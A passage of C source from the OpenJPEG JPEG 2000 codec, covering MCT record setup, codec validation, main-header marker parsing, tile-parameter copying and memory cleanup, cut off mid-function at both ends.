opj_mct_data_t)); } l_mct_deco_data = p_tcp->m_mct_records + p_tcp->m_nb_mct_records; if (l_mct_deco_data->m_data) { opj_free(l_mct_deco_data->m_data); l_mct_deco_data->m_data = 00; } l_mct_deco_data->m_index = l_indix++; l_mct_deco_data->m_array_type = MCT_TYPE_DECORRELATION; l_mct_deco_data->m_element_type = MCT_TYPE_FLOAT; l_nb_elem = p_image->numcomps * p_image->numcomps; l_mct_size = l_nb_elem * MCT_ELEMENT_SIZE[l_mct_deco_data->m_element_type]; l_mct_deco_data->m_data = (OPJ_BYTE*)opj_malloc(l_mct_size); if (! l_mct_deco_data->m_data) { return OPJ_FALSE; } j2k_mct_write_functions_from_float[l_mct_deco_data->m_element_type]( p_tcp->m_mct_decoding_matrix, l_mct_deco_data->m_data, l_nb_elem); l_mct_deco_data->m_data_size = l_mct_size; ++p_tcp->m_nb_mct_records; } if (p_tcp->m_nb_mct_records == p_tcp->m_nb_max_mct_records) { opj_mct_data_t *new_mct_records; p_tcp->m_nb_max_mct_records += OPJ_J2K_MCT_DEFAULT_NB_RECORDS; new_mct_records = (opj_mct_data_t *) opj_realloc(p_tcp->m_mct_records, p_tcp->m_nb_max_mct_records * sizeof(opj_mct_data_t)); if (! new_mct_records) { opj_free(p_tcp->m_mct_records); p_tcp->m_mct_records = NULL; p_tcp->m_nb_max_mct_records = 0; p_tcp->m_nb_mct_records = 0; /* opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to setup mct encoding\n"); */ return OPJ_FALSE; } p_tcp->m_mct_records = new_mct_records; l_mct_offset_data = p_tcp->m_mct_records + p_tcp->m_nb_mct_records; memset(l_mct_offset_data, 0, (p_tcp->m_nb_max_mct_records - p_tcp->m_nb_mct_records) * sizeof( opj_mct_data_t)); if (l_mct_deco_data) { l_mct_deco_data = l_mct_offset_data - 1; } } l_mct_offset_data = p_tcp->m_mct_records + p_tcp->m_nb_mct_records; if (l_mct_offset_data->m_data) { opj_free(l_mct_offset_data->m_data); l_mct_offset_data->m_data = 00; } l_mct_offset_data->m_index = l_indix++; l_mct_offset_data->m_array_type = MCT_TYPE_OFFSET; l_mct_offset_data->m_element_type = MCT_TYPE_FLOAT; l_nb_elem = p_image->numcomps; l_mct_size = l_nb_elem * MCT_ELEMENT_SIZE[l_mct_offset_data->m_element_type]; l_mct_offset_data->m_data = (OPJ_BYTE*)opj_malloc(l_mct_size); if (! l_mct_offset_data->m_data) { return OPJ_FALSE; } l_data = (OPJ_FLOAT32*)opj_malloc(l_nb_elem * sizeof(OPJ_FLOAT32)); if (! l_data) { opj_free(l_mct_offset_data->m_data); l_mct_offset_data->m_data = 00; return OPJ_FALSE; } l_tccp = p_tcp->tccps; l_current_data = l_data; for (i = 0; i < l_nb_elem; ++i) { *(l_current_data++) = (OPJ_FLOAT32)(l_tccp->m_dc_level_shift); ++l_tccp; } j2k_mct_write_functions_from_float[l_mct_offset_data->m_element_type](l_data, l_mct_offset_data->m_data, l_nb_elem); opj_free(l_data); l_mct_offset_data->m_data_size = l_mct_size; ++p_tcp->m_nb_mct_records; if (p_tcp->m_nb_mcc_records == p_tcp->m_nb_max_mcc_records) { opj_simple_mcc_decorrelation_data_t *new_mcc_records; p_tcp->m_nb_max_mcc_records += OPJ_J2K_MCT_DEFAULT_NB_RECORDS; new_mcc_records = (opj_simple_mcc_decorrelation_data_t *) opj_realloc( p_tcp->m_mcc_records, p_tcp->m_nb_max_mcc_records * sizeof( opj_simple_mcc_decorrelation_data_t)); if (! new_mcc_records) { opj_free(p_tcp->m_mcc_records); p_tcp->m_mcc_records = NULL; p_tcp->m_nb_max_mcc_records = 0; p_tcp->m_nb_mcc_records = 0; /* opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to setup mct encoding\n"); */ return OPJ_FALSE; } p_tcp->m_mcc_records = new_mcc_records; l_mcc_data = p_tcp->m_mcc_records + p_tcp->m_nb_mcc_records; memset(l_mcc_data, 0, (p_tcp->m_nb_max_mcc_records - p_tcp->m_nb_mcc_records) * sizeof(opj_simple_mcc_decorrelation_data_t)); } l_mcc_data = p_tcp->m_mcc_records + p_tcp->m_nb_mcc_records; l_mcc_data->m_decorrelation_array = l_mct_deco_data; l_mcc_data->m_is_irreversible = 1; l_mcc_data->m_nb_comps = p_image->numcomps; l_mcc_data->m_index = l_indix++; l_mcc_data->m_offset_array = l_mct_offset_data; ++p_tcp->m_nb_mcc_records; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_build_decoder(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { /* add here initialization of cp copy paste of setup_decoder */ (void)p_j2k; (void)p_stream; (void)p_manager; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_build_encoder(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { /* add here initialization of cp copy paste of setup_encoder */ (void)p_j2k; (void)p_stream; (void)p_manager; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_encoding_validation(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_BOOL l_is_valid = OPJ_TRUE; /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); OPJ_UNUSED(p_stream); /* STATE checking */ /* make sure the state is at 0 */ l_is_valid &= (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_NONE); /* POINTER validation */ /* make sure a p_j2k codec is present */ l_is_valid &= (p_j2k->m_procedure_list != 00); /* make sure a validation list is present */ l_is_valid &= (p_j2k->m_validation_list != 00); /* ISO 15444-1:2004 states between 1 & 33 (0 -> 32) */ /* 33 (32) would always fail the check below (if a cast to 64bits was done) */ /* FIXME Shall we change OPJ_J2K_MAXRLVLS to 32 ? */ if ((p_j2k->m_cp.tcps->tccps->numresolutions <= 0) || (p_j2k->m_cp.tcps->tccps->numresolutions > 32)) { opj_event_msg(p_manager, EVT_ERROR, "Number of resolutions is too high in comparison to the size of tiles\n"); return OPJ_FALSE; } if ((p_j2k->m_cp.tdx) < (OPJ_UINT32)(1 << (p_j2k->m_cp.tcps->tccps->numresolutions - 1U))) { opj_event_msg(p_manager, EVT_ERROR, "Number of resolutions is too high in comparison to the size of tiles\n"); return OPJ_FALSE; } if ((p_j2k->m_cp.tdy) < (OPJ_UINT32)(1 << (p_j2k->m_cp.tcps->tccps->numresolutions - 1U))) { opj_event_msg(p_manager, EVT_ERROR, "Number of resolutions is too high in comparison to the size of tiles\n"); return OPJ_FALSE; } /* PARAMETER VALIDATION */ return l_is_valid; } static OPJ_BOOL opj_j2k_decoding_validation(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_BOOL l_is_valid = OPJ_TRUE; /* preconditions*/ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); OPJ_UNUSED(p_stream); OPJ_UNUSED(p_manager); /* STATE checking */ /* make sure the state is at 0 */ #ifdef TODO_MSD l_is_valid &= (p_j2k->m_specific_param.m_decoder.m_state == J2K_DEC_STATE_NONE); #endif l_is_valid &= (p_j2k->m_specific_param.m_decoder.m_state == 0x0000); /* POINTER validation */ /* make sure a p_j2k codec is present */ /* make sure a procedure list is present */ l_is_valid &= (p_j2k->m_procedure_list != 00); /* make sure a validation list is present */ l_is_valid &= (p_j2k->m_validation_list != 00); /* PARAMETER VALIDATION */ return l_is_valid; } static OPJ_BOOL opj_j2k_read_header_procedure(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 l_current_marker; OPJ_UINT32 l_marker_size; const opj_dec_memory_marker_handler_t * l_marker_handler = 00; OPJ_BOOL l_has_siz = 0; OPJ_BOOL l_has_cod = 0; OPJ_BOOL l_has_qcd = 0; /* preconditions */ assert(p_stream != 00); assert(p_j2k != 00); assert(p_manager != 00); /* We enter in the main header */ p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_MHSOC; /* Try to read the SOC marker, the codestream must begin with SOC marker */ if (! opj_j2k_read_soc(p_j2k, p_stream, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Expected a SOC marker \n"); return OPJ_FALSE; } /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read 2 bytes as the new marker ID */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_current_marker, 2); /* Try to read until the SOT is detected */ while (l_current_marker != J2K_MS_SOT) { /* Check if the current marker ID is valid */ if (l_current_marker < 0xff00) { opj_event_msg(p_manager, EVT_ERROR, "A marker ID was expected (0xff--) instead of %.8x\n", l_current_marker); return OPJ_FALSE; } /* Get the marker handler from the marker ID */ l_marker_handler = opj_j2k_get_marker_handler(l_current_marker); /* Manage case where marker is unknown */ if (l_marker_handler->id == J2K_MS_UNK) { if (! opj_j2k_read_unk(p_j2k, p_stream, &l_current_marker, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Unknow marker have been detected and generated error.\n"); return OPJ_FALSE; } if (l_current_marker == J2K_MS_SOT) { break; /* SOT marker is detected main header is completely read */ } else { /* Get the marker handler from the marker ID */ l_marker_handler = opj_j2k_get_marker_handler(l_current_marker); } } if (l_marker_handler->id == J2K_MS_SIZ) { /* Mark required SIZ marker as found */ l_has_siz = 1; } if (l_marker_handler->id == J2K_MS_COD) { /* Mark required COD marker as found */ l_has_cod = 1; } if (l_marker_handler->id == J2K_MS_QCD) { /* Mark required QCD marker as found */ l_has_qcd = 1; } /* Check if the marker is known and if it is the right place to find it */ if (!(p_j2k->m_specific_param.m_decoder.m_state & l_marker_handler->states)) { opj_event_msg(p_manager, EVT_ERROR, "Marker is not compliant with its position\n"); return OPJ_FALSE; } /* Try to read 2 bytes (the marker size) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* read 2 bytes as the marker size */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_marker_size, 2); if (l_marker_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Invalid marker size\n"); return OPJ_FALSE; } l_marker_size -= 2; /* Subtract the size of the marker ID already read */ /* Check if the marker size is compatible with the header data size */ if (l_marker_size > p_j2k->m_specific_param.m_decoder.m_header_data_size) { OPJ_BYTE *new_header_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_decoder.m_header_data, l_marker_size); if (! new_header_data) { opj_free(p_j2k->m_specific_param.m_decoder.m_header_data); p_j2k->m_specific_param.m_decoder.m_header_data = NULL; p_j2k->m_specific_param.m_decoder.m_header_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read header\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_decoder.m_header_data = new_header_data; p_j2k->m_specific_param.m_decoder.m_header_data_size = l_marker_size; } /* Try to read the rest of the marker segment from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, l_marker_size, p_manager) != l_marker_size) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read the marker segment with the correct marker handler */ if (!(*(l_marker_handler->handler))(p_j2k, p_j2k->m_specific_param.m_decoder.m_header_data, l_marker_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Marker handler function failed to read the marker segment\n"); return OPJ_FALSE; } /* Add the marker to the codestream index*/ if (OPJ_FALSE == opj_j2k_add_mhmarker( p_j2k->cstr_index, l_marker_handler->id, (OPJ_UINT32) opj_stream_tell(p_stream) - l_marker_size - 4, l_marker_size + 4)) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add mh marker\n"); return OPJ_FALSE; } /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* read 2 bytes as the new marker ID */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_current_marker, 2); } if (l_has_siz == 0) { opj_event_msg(p_manager, EVT_ERROR, "required SIZ marker not found in main header\n"); return OPJ_FALSE; } if (l_has_cod == 0) { opj_event_msg(p_manager, EVT_ERROR, "required COD marker not found in main header\n"); return OPJ_FALSE; } if (l_has_qcd == 0) { opj_event_msg(p_manager, EVT_ERROR, "required QCD marker not found in main header\n"); return OPJ_FALSE; } if (! opj_j2k_merge_ppm(&(p_j2k->m_cp), p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Failed to merge PPM data\n"); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "Main header has been correctly decoded.\n"); /* Position of the last element if the main header */ p_j2k->cstr_index->main_head_end = (OPJ_UINT32) opj_stream_tell(p_stream) - 2; /* Next step: read a tile-part header */ p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_TPHSOT; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_exec(opj_j2k_t * p_j2k, opj_procedure_list_t * p_procedure_list, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_BOOL(** l_procedure)(opj_j2k_t *, opj_stream_private_t *, opj_event_mgr_t *) = 00; OPJ_BOOL l_result = OPJ_TRUE; OPJ_UINT32 l_nb_proc, i; /* preconditions*/ assert(p_procedure_list != 00); assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); l_nb_proc = opj_procedure_list_get_nb_procedures(p_procedure_list); l_procedure = (OPJ_BOOL(**)(opj_j2k_t *, opj_stream_private_t *, opj_event_mgr_t *)) opj_procedure_list_get_first_procedure(p_procedure_list); for (i = 0; i < l_nb_proc; ++i) { l_result = l_result && ((*l_procedure)(p_j2k, p_stream, p_manager)); ++l_procedure; } /* and clear the procedure list at the end.*/ opj_procedure_list_clear(p_procedure_list); return l_result; } /* FIXME DOC*/ static OPJ_BOOL opj_j2k_copy_default_tcp_and_create_tcd(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { opj_tcp_t * l_tcp = 00; opj_tcp_t * l_default_tcp = 00; OPJ_UINT32 l_nb_tiles; OPJ_UINT32 i, j; opj_tccp_t *l_current_tccp = 00; OPJ_UINT32 l_tccp_size; OPJ_UINT32 l_mct_size; opj_image_t * l_image; OPJ_UINT32 l_mcc_records_size, l_mct_records_size; opj_mct_data_t * l_src_mct_rec, *l_dest_mct_rec; opj_simple_mcc_decorrelation_data_t * l_src_mcc_rec, *l_dest_mcc_rec; OPJ_UINT32 l_offset; /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); OPJ_UNUSED(p_stream); l_image = p_j2k->m_private_image; l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; l_tcp = p_j2k->m_cp.tcps; l_tccp_size = l_image->numcomps * (OPJ_UINT32)sizeof(opj_tccp_t); l_default_tcp = p_j2k->m_specific_param.m_decoder.m_default_tcp; l_mct_size = l_image->numcomps * l_image->numcomps * (OPJ_UINT32)sizeof( OPJ_FLOAT32); /* For each tile */ for (i = 0; i < l_nb_tiles; ++i) { /* keep the tile-compo coding parameters pointer of the current tile coding parameters*/ l_current_tccp = l_tcp->tccps; /*Copy default coding parameters into the current tile coding parameters*/ memcpy(l_tcp, l_default_tcp, sizeof(opj_tcp_t)); /* Initialize some values of the current tile coding parameters*/ l_tcp->cod = 0; l_tcp->ppt = 0; l_tcp->ppt_data = 00; l_tcp->m_current_tile_part_number = -1; /* Remove memory not owned by this tile in case of early error return. */ l_tcp->m_mct_decoding_matrix = 00; l_tcp->m_nb_max_mct_records = 0; l_tcp->m_mct_records = 00; l_tcp->m_nb_max_mcc_records = 0; l_tcp->m_mcc_records = 00; /* Reconnect the tile-compo coding parameters pointer to the current tile coding parameters*/ l_tcp->tccps = l_current_tccp; /* Get the mct_decoding_matrix of the dflt_tile_cp and copy them into the current tile cp*/ if (l_default_tcp->m_mct_decoding_matrix) { l_tcp->m_mct_decoding_matrix = (OPJ_FLOAT32*)opj_malloc(l_mct_size); if (! l_tcp->m_mct_decoding_matrix) { return OPJ_FALSE; } memcpy(l_tcp->m_mct_decoding_matrix, l_default_tcp->m_mct_decoding_matrix, l_mct_size); } /* Get the mct_record of the dflt_tile_cp and copy them into the current tile cp*/ l_mct_records_size = l_default_tcp->m_nb_max_mct_records * (OPJ_UINT32)sizeof( opj_mct_data_t); l_tcp->m_mct_records = (opj_mct_data_t*)opj_malloc(l_mct_records_size); if (! l_tcp->m_mct_records) { return OPJ_FALSE; } memcpy(l_tcp->m_mct_records, l_default_tcp->m_mct_records, l_mct_records_size); /* Copy the mct record data from dflt_tile_cp to the current tile*/ l_src_mct_rec = l_default_tcp->m_mct_records; l_dest_mct_rec = l_tcp->m_mct_records; for (j = 0; j < l_default_tcp->m_nb_mct_records; ++j) { if (l_src_mct_rec->m_data) { l_dest_mct_rec->m_data = (OPJ_BYTE*) opj_malloc(l_src_mct_rec->m_data_size); if (! l_dest_mct_rec->m_data) { return OPJ_FALSE; } memcpy(l_dest_mct_rec->m_data, l_src_mct_rec->m_data, l_src_mct_rec->m_data_size); } ++l_src_mct_rec; ++l_dest_mct_rec; /* Update with each pass to free exactly what has been allocated on early return. */ l_tcp->m_nb_max_mct_records += 1; } /* Get the mcc_record of the dflt_tile_cp and copy them into the current tile cp*/ l_mcc_records_size = l_default_tcp->m_nb_max_mcc_records * (OPJ_UINT32)sizeof( opj_simple_mcc_decorrelation_data_t); l_tcp->m_mcc_records = (opj_simple_mcc_decorrelation_data_t*) opj_malloc( l_mcc_records_size); if (! l_tcp->m_mcc_records) { return OPJ_FALSE; } memcpy(l_tcp->m_mcc_records, l_default_tcp->m_mcc_records, l_mcc_records_size); l_tcp->m_nb_max_mcc_records = l_default_tcp->m_nb_max_mcc_records; /* Copy the mcc record data from dflt_tile_cp to the current tile*/ l_src_mcc_rec = l_default_tcp->m_mcc_records; l_dest_mcc_rec = l_tcp->m_mcc_records; for (j = 0; j < l_default_tcp->m_nb_max_mcc_records; ++j) { if (l_src_mcc_rec->m_decorrelation_array) { l_offset = (OPJ_UINT32)(l_src_mcc_rec->m_decorrelation_array - l_default_tcp->m_mct_records); l_dest_mcc_rec->m_decorrelation_array = l_tcp->m_mct_records + l_offset; } if (l_src_mcc_rec->m_offset_array) { l_offset = (OPJ_UINT32)(l_src_mcc_rec->m_offset_array - l_default_tcp->m_mct_records); l_dest_mcc_rec->m_offset_array = l_tcp->m_mct_records + l_offset; } ++l_src_mcc_rec; ++l_dest_mcc_rec; } /* Copy all the dflt_tile_compo_cp to the current tile cp */ memcpy(l_current_tccp, l_default_tcp->tccps, l_tccp_size); /* Move to next tile cp*/ ++l_tcp; } /* Create the current tile decoder*/ p_j2k->m_tcd = (opj_tcd_t*)opj_tcd_create(OPJ_TRUE); /* FIXME why a cast ? */ if (! p_j2k->m_tcd) { return OPJ_FALSE; } if (!opj_tcd_init(p_j2k->m_tcd, l_image, &(p_j2k->m_cp), p_j2k->m_tp)) { opj_tcd_destroy(p_j2k->m_tcd); p_j2k->m_tcd = 00; opj_event_msg(p_manager, EVT_ERROR, "Cannot decode tile, memory error\n"); return OPJ_FALSE; } return OPJ_TRUE; } static const opj_dec_memory_marker_handler_t * opj_j2k_get_marker_handler( OPJ_UINT32 p_id) { const opj_dec_memory_marker_handler_t *e; for (e = j2k_memory_marker_handler_tab; e->id != 0; ++e) { if (e->id == p_id) { break; /* we find a handler corresponding to the marker ID*/ } } return e; } void opj_j2k_destroy(opj_j2k_t *p_j2k) { if (p_j2k == 00) { return; } if (p_j2k->m_is_decoder) { if (p_j2k->m_specific_param.m_decoder.m_default_tcp != 00) { opj_j2k_tcp_destroy(p_j2k->m_specific_param.m_decoder.m_default_tcp); opj_free(p_j2k->m_specific_param.m_decoder.m_default_tcp); p_j2k->m_specific_param.m_decoder.m_default_tcp = 00; } if (p_j2k->m_specific_param.m_decoder.m_header_data != 00) { opj_free(p_j2k->m_specific_param.m_decoder.m_header_data); p_j2k->m_specific_param.m_decoder.m_header_data = 00; p_j2k->m_specific_param.m_decoder.m_header_data_size = 0; } } else { if (p_j2k->m_specific_param.m_encoder.m_encoded_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_encoded_tile_data); p_j2k->m_specific_param.m_encoder.m_encoded_tile_data = 00; } if (p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer) { opj_free(p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer); p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer = 00; p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current = 00; } if (p_j2k->m_specific_param.m_encoder.m_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = 00; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; } } opj_tcd_destroy(p_j2k->m_tcd); opj_j2k_cp_destroy(&(p_j2k->m_cp)); memset(&(p_j2k->m_cp), 0, sizeof(opj_cp_t)); opj_procedure_list_destroy(p_j2k->m_procedure_list); p_j2k->m_procedure_list = 00; opj_procedure_list_destroy(p_j2k->m_validation_list); p_j2k->m_procedure_list = 00; j2k_destroy_cstr_index(p_j2k->cstr_index); p_j2k->cstr_index = NULL; opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; opj_image_destroy(p_j2k->m_output_image); p_j2k->m_output_image = NULL; opj_thread_pool_destroy(p_j2k->m_tp); p_j2k->m_tp = NULL; opj_free(p_j2k); } void j2k_destroy_cstr_index(opj_codestream_index_t *p_cstr_ind) { if (p_cstr_ind) { if (p_cstr_ind->marker) { opj_free(p_cstr_ind->marker); p_cstr_ind->marker = NULL; } if (p_cstr_ind->tile_index) { OPJ_UINT32 it_tile = 0; for (it_tile = 0; it_tile < p_cstr_ind->nb_of_tiles; it_tile++) { if (p_cstr_ind->tile_index[it_tile].packet_index) { opj_free(p_cstr_ind->tile_index[it_tile].packet_index); p_cstr_ind->tile_index[it_tile].packet_index = NULL; } if (p_cstr_ind->tile_index[it_tile].tp_index) { opj_free(p_cstr_ind->tile_index[it_tile].tp_index); p_cstr_ind->tile_index[it_tile].tp_index = NULL; } if (p_cstr_ind->tile_index[it_tile].marker) { opj_free(p_cstr_ind->tile_index[it_tile].marker); p_cstr_ind->tile_index[it_tile].marker = NULL; } } opj_free(p_cstr_ind->tile_index); p_cstr_ind->tile_index = NULL; } opj_free(p_cstr_ind); } } static void opj_j2k_tcp_destroy(opj_tcp_t *p_tcp) { if (p_tcp == 00) { return; } if (p_tcp->ppt_markers != 00) { OPJ_UINT32 i; for (i = 0U; i < p_tcp->ppt_markers_count; ++i) { if (p_tcp->ppt_markers[i].m_data != NULL) { opj_free(p_tcp->ppt_markers[i].m_data); } } p_tcp->ppt_markers_count = 0U; opj_free(p_tcp->ppt_markers); p_tcp->ppt_markers = NULL; } if (p_tcp->ppt_buffer != 00) { opj_free(p_tcp->ppt_buffer); p_tcp->ppt_buffer = 00; } if (p_tcp->tccps != 00) { opj_free(p_tcp->tccps); p_tcp->tccps = 00; } if (p_tcp->m_mct_coding_matrix != 00) { opj_free(p_tcp->m_mct_coding_matrix); p_tcp->m_mct_coding_matrix = 00; } if (p_tcp->m_mct_decoding_matrix != 00) { opj_free(p_tcp->m_mct_decoding_matrix); p_tcp->m_mct_decoding_matrix = 00; } if (p_tcp->m_mcc_records) { opj_free(p_tcp->m_mcc_records); p_tcp->m_mcc_records = 00; p_tcp->m_nb_max_mcc_records = 0; p_tcp->m_nb_mcc_records = 0; } if (p_tcp->m_mct_records) { opj_mct_data_t * l_mct_data = p_tcp->m_mct_records; OPJ_UINT32 i; for (i = 0; i < p_tcp->m_nb_mct_records; ++i) { if (l_mct_data->m_data) { opj_free(l_mct_data->m_data); l_mct_data->m_data = 00; } ++l_mct_data; } opj_free(p_tcp->m_mct_records); p_tcp->m_mct_records = 00; } if (p_tcp->mct_norms != 00) { opj_free(p_tcp->mct_norms); p_tcp->mct_norms = 00; } opj_j2k_tcp_data_destroy(p_tcp); } static void opj_j2k_tcp_data_destroy(opj_tcp_t *p_tcp) { if (p_tcp->m_data) { opj_free(p_tcp->m_data); p_tcp->m_data = NULL; p_tcp->m_data_size = 0; } } static void opj_j2k_cp_destroy(opj_cp_t *p_cp) { OPJ_UINT32 l_nb_tiles; opj_tcp_t * l_current_tile = 00; if (p_cp == 00) { return; } if (p_cp->tcps != 00) { OPJ_UINT32 i; l_current_tile = p_cp->tcps; l_nb_tiles = p_cp->th * p_cp->tw; for (i = 0U; i < l_nb_tiles; ++i) { opj_j2k_tcp_destroy(l_current_tile); ++l_current_tile; } opj_free(p_cp->tcps); p_cp->tcps = 00; } if (p_cp->ppm_markers != 00) { OPJ_UINT32 i; for (i = 0U; i < p_cp->ppm_markers_count; ++i) { if (p_cp->ppm_markers[i].m_data != NULL) { opj_free(p_cp->ppm_markers[i].m_data); } } p_cp->ppm_markers_count = 0U; opj_free(p_cp->ppm_markers); p_cp->ppm_markers = NULL; } opj_free(p_cp->ppm_buffer); p_cp->ppm_buffer = 00; p_cp->ppm_data = NULL; /* ppm_data belongs to the allocated buffer pointed by ppm_buffer */ opj_free(p_cp->comment); p_cp->comment = 00; if (! p_cp->m_is_decoder) { opj_free(p_cp->m_specific_param.m_enc.m_matrice); p_cp->m_specific_param.m_enc.m_matrice = 00; } } static OPJ_BOOL opj_j2k_need_nb_tile_parts_correction(opj_stream_private_t *p_stream, OPJ_UINT32 tile_no, OPJ_BOOL* p_correction_needed, opj_event_mgr_t * p_manager) { OPJ_BYTE l_header_data[10]; OPJ_OFF_T l_stream_pos_backup; OPJ_UINT32 l_current_marker; OPJ_UINT32 l_marker_size; OPJ_UINT32 l_tile_no, l_tot_len, l_current_part, l_num_parts; /* initialize to no correction needed */ *p_correction_needed = OPJ_FALSE; if (!opj_stream_has_seek(p_stream)) { /* We can't do much in this case, seek is needed */ return OPJ_TRUE; } l_stream_pos_backup = opj_stream_tell(p_stream); if (l_stream_pos_backup == -1) { /* let's do nothing */ return OPJ_TRUE; } for (;;) { /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, l_header_data, 2, p_manager) != 2) { /* assume all is OK */ if (! opj_stream_seek(p_stream, l_stream_pos_backup, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } /* Read 2 bytes from buffer as the new marker ID */ opj_read_bytes(l_header_data, &l_current_marker, 2); if (l_current_marker != J2K_MS_SOT) { /* assume all is OK */ if (! opj_stream_seek(p_stream, l_stream_pos_backup, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } /* Try to read 2 bytes (the marker size) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, l_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read 2 bytes from the buffer as the marker size */ opj_read_bytes(l_header_data, &l_marker_size, 2); /* Check marker size for SOT Marker */ if (l_marker_size != 10) { opj_event_msg(p_manager, EVT_ERROR, "Inconsistent marker size\n"); return OPJ_FALSE; } l_marker_size -= 2; if (opj_stream_read_data(p_stream, l_header_data, l_marker_size, p_manager) != l_marker_size) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } if (! opj_j2k_get_sot_values(l_header_data, l_marker_size, &l_tile_no, &l_tot_len, &l_current_part, &l_num_parts, p_manager)) { return OPJ_FALSE; } if (l_tile_no == tile_no) { /* we found what we were looking for */ break; } if ((l_tot_len == 0U) || (l_tot_len < 14U)) { /* last SOT until EOC or invalid Psot value */ /* assume all is OK */ if (! opj_stream_seek(p_stream, l_stream_pos_backup, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } l_tot_len -= 12U; /* look for next SOT marker */ if (opj_stream_skip(p_stream, (OPJ_OFF_T)(l_tot_len), p_manager) != (OPJ_OFF_T)(l_tot_len)) { /* assume all is OK */ if (! opj_stream_seek(p_stream, l_stream_pos_backup, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } } /* check for correction */ if (l_current_part == l_num_parts) { *p_correction_needed = OPJ_TRUE; } if (! opj_stream_seek(p_stream, l_stream_pos_backup, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_read_tile_header(opj_j2k_t * p_j2k, OPJ_UINT32 * p_tile_index, OPJ_UINT32 * p_data_size, OPJ_INT32 * p_tile_x0, OPJ_INT32 * p_tile_y0, OPJ_INT32 * p_tile_x1, OPJ_INT32 * p_tile_y1, OPJ_UINT32 * p_nb_comps, OPJ_BOOL * p_go_on, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 l_current_marker = J2K_MS_SOT; OPJ_UINT32 l_marker_size; const opj_dec_memory_marker_handler_t * l_marker_handler = 00; opj_tcp_t * l_tcp = NULL; /* preconditions */ assert(p_stream != 00); assert(p_j2k != 00); assert(p_manager != 00); /* Reach the End Of Codestream ?*/ if (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_EOC) { l_current_marker = J2K_MS_EOC; } /* We need to encounter a SOT marker (a new tile-part header) */ else if (p_j2k->m_specific_param.m_decoder.m_state != J2K_STATE_TPHSOT) { return OPJ_FALSE; } /* Read into the codestream until reach the EOC or ! can_decode ??? FIXME */ while 